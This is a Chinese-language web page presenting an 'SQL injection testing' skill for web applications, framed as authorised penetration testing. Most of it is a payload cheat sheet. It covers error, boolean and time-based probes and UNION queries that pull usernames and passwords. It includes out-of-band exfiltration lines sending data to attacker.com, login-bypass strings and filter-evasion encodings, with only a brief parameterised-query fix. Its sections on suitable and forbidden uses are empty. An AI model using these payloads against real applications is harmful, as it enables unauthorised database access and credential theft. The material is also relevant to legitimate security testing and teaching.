执行授权安全测试,检测、利用并验证Web应用程序中的SQL注入漏洞防御。
SQL 注射测试是一项面向实际任务的技能,主要用于网络应用综合SQL注入脆弱性评估技术, 包括检测、开发、和防御验证;Description:1.;
使用时应结合输入条件选择合适的执行方式,核对必要参数、依赖环境与输出内容,并按原始要求处理异常情况。该技能适合需要稳定复用相关能力的场景,可作为自动化工作流的一部分,也便于后续检查、调整和扩展。从功能定位来看,该技能强调把分散的操作要求整理成清晰、可复用的处理流程,使用户能够围绕既定目标快速准备输入、选择执行方式并获得结构化结果。
实际使用前应先确认任务范围、数据来源、运行环境、必要权限和关键参数,再依据技能说明逐步执行;若输入条件不完整,应先补齐信息或采用保守配置,避免因错误假设导致结果偏离需求。执行过程中需要关注工具调用是否成功、接口或依赖是否可用、输出格式是否符合预期,并对异常提示、缺失字段和边界情况进行处理;涉及批量任务时,还应保存进度,避免中断后重复操作。
面向 Web 应用程序的全面 SQL 注入漏洞评估技术,涵盖检测、利用与防御有效性验证。
适用场景:
禁止使用场景:
⚠️ 法律要求:使用前必须取得书面形式的渗透测试授权。
常见可注入参数:
URL 参数: ?id=1, ?user=admin, ?category=books 表单字段: username, password, search, comments Cookie: session_id, user_preference HTTP 请求头: User-Agent, Referer, X-Forwarded-For
-- 单引号测试 ' -- 双引号测试 " -- 注释序列 -- # /**/ -- 分号用于查询堆叠 ;
需关注现象:
-- 真值条件(应返回数据) page.asp?id=1 or 1=1 page.asp?id=1' or 1=1-- page.asp?id=1" or 1=1-- -- 假值条件(应无返回或报错) page.asp?id=1 and 1=2 page.asp?id=1' and 1=2--
对比真/假条件下的响应差异,以确认注入是否成功。
-- 步骤 1:确定列数 ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- -- 持续递增直至出现错误 -- 步骤 2:定位可显示列 UNION SELECT NULL,NULL,NULL-- UNION SELECT 'a',NULL,NULL-- UNION SELECT NULL,'a',NULL-- -- 步骤 3:提取数据 UNION SELECT username,password,NULL FROM users-- UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
-- MSSQL 1' AND 1=CONVERT(int,(SELECT @@version))-- -- MySQL(XPATH) 1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -- PostgreSQL 1' AND 1=CAST((SELECT version()) AS int)--
-- 字符逐位提取 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'-- -- 条件响应判断 1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
-- MySQL 1' AND IF(1=1,SLEEP(5),0)-- 1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)-- -- MSSQL 1'; WAITFOR DELAY '0:0:5'-- -- PostgreSQL 1'; SELECT pg_sleep(5)--
-- MSSQL DNS 数据回传
1; EXEC master..xp_dirtree '\attacker-server.comshare'--
-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\',@@version,'.attacker.com\a'))--
-- Oracle HTTP 回传
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
-- 经典绕过载荷
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- 查询语句变形示例
-- 原始语句:SELECT * FROM users WHERE username='input' AND password='input'
-- 注入后(用户名输入 admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- 密码校验被绕过!
-- URL 编码 %27 (单引号) %22 (双引号) %23 (井号) -- 双重 URL 编码 %2527 (单引号) -- 十六进制字符串(MySQL) SELECT * FROM users WHERE name=0x61646D696E -- 'admin'
-- 使用注释替代空格 SELECT/**/username/**/FROM/**/users -- 制表符(Tab) SELECT%09username%09FROM%09users -- 换行符 SELECT%0Ausername%0AFROM%0Ausers
-- 大小写混用 SeLeCt, sElEcT, SELECT -- 内联注释插入 SEL/*bypass*/ECT UN/*bypass*/ION -- 重复书写(适用于仅过滤一次的场景) SELSELECTECT → SELECT UNUNIONION → UNION
| 数据库 | 版本查询语句 |
|---|---|
| MySQL | SELECT @@version 或 SELECT version() |
| MSSQL | SELECT @@version |
| PostgreSQL | SELECT version() |
| Oracle | SELECT banner FROM v$version |
| SQLite | SELECT sqlite_version() |
-- MySQL/MSSQL:列出表名 SELECT table_name FROM information_schema.tables WHERE table_schema=database() -- 列出字段名 SELECT column_name FROM information_schema.columns WHERE table_name='users' -- Oracle 等效语句 SELECT table_name FROM all_tables SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
| 用途 | 载荷 |
|---|---|
| 基础测试 | ' 或 " |
| 布尔真值 | OR 1=1-- |
| 布尔假值 | AND 1=2-- |
| 注释(MySQL) | # 或 -- |
| 注释(MSSQL) | -- |
| UNION 探测 | UNION SELECT NULL-- |
| 时间延迟 | AND SLEEP(5)-- |
| 认证绕过 | ' OR '1'='1 |
1. 插入 ' → 检查是否报错 2. 插入 " → 检查是否报错 3. 尝试:OR 1=1-- → 检查行为是否变化 4. 尝试:AND 1=2-- → 检查行为是否变化 5. 尝试:' WAITFOR DELAY '0:0:5'-- → 检查是否存在延迟
const query = `SELECT * FROM users WHERE id = '${userId}'`;
// 使用参数化查询
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);
// 或使用 ORM
const user = await prisma.user.findUnique({ where: { id: userId } });
| 问题 | 解决方案 |
|---|---|
| 未返回错误信息 | 改用盲注技术(布尔型或时间型) |
| UNION 查询失败 | 使用 ORDER BY 确认目标列数 |
| 被 WAF 拦截 | 采用编码或规避技术 |
| 载荷未执行 | 核实当前数据库类型所支持的注释语法 |
| 时间型盲注响应不稳定 | 延长延迟时间(建议 ≥10 秒) |
相关专题
热门下载
相关下载
精品课程
共6课时 | 54.7万人学习
共89课时 | 134.1万人学习
共49课时 | 82.6万人学习
最新文章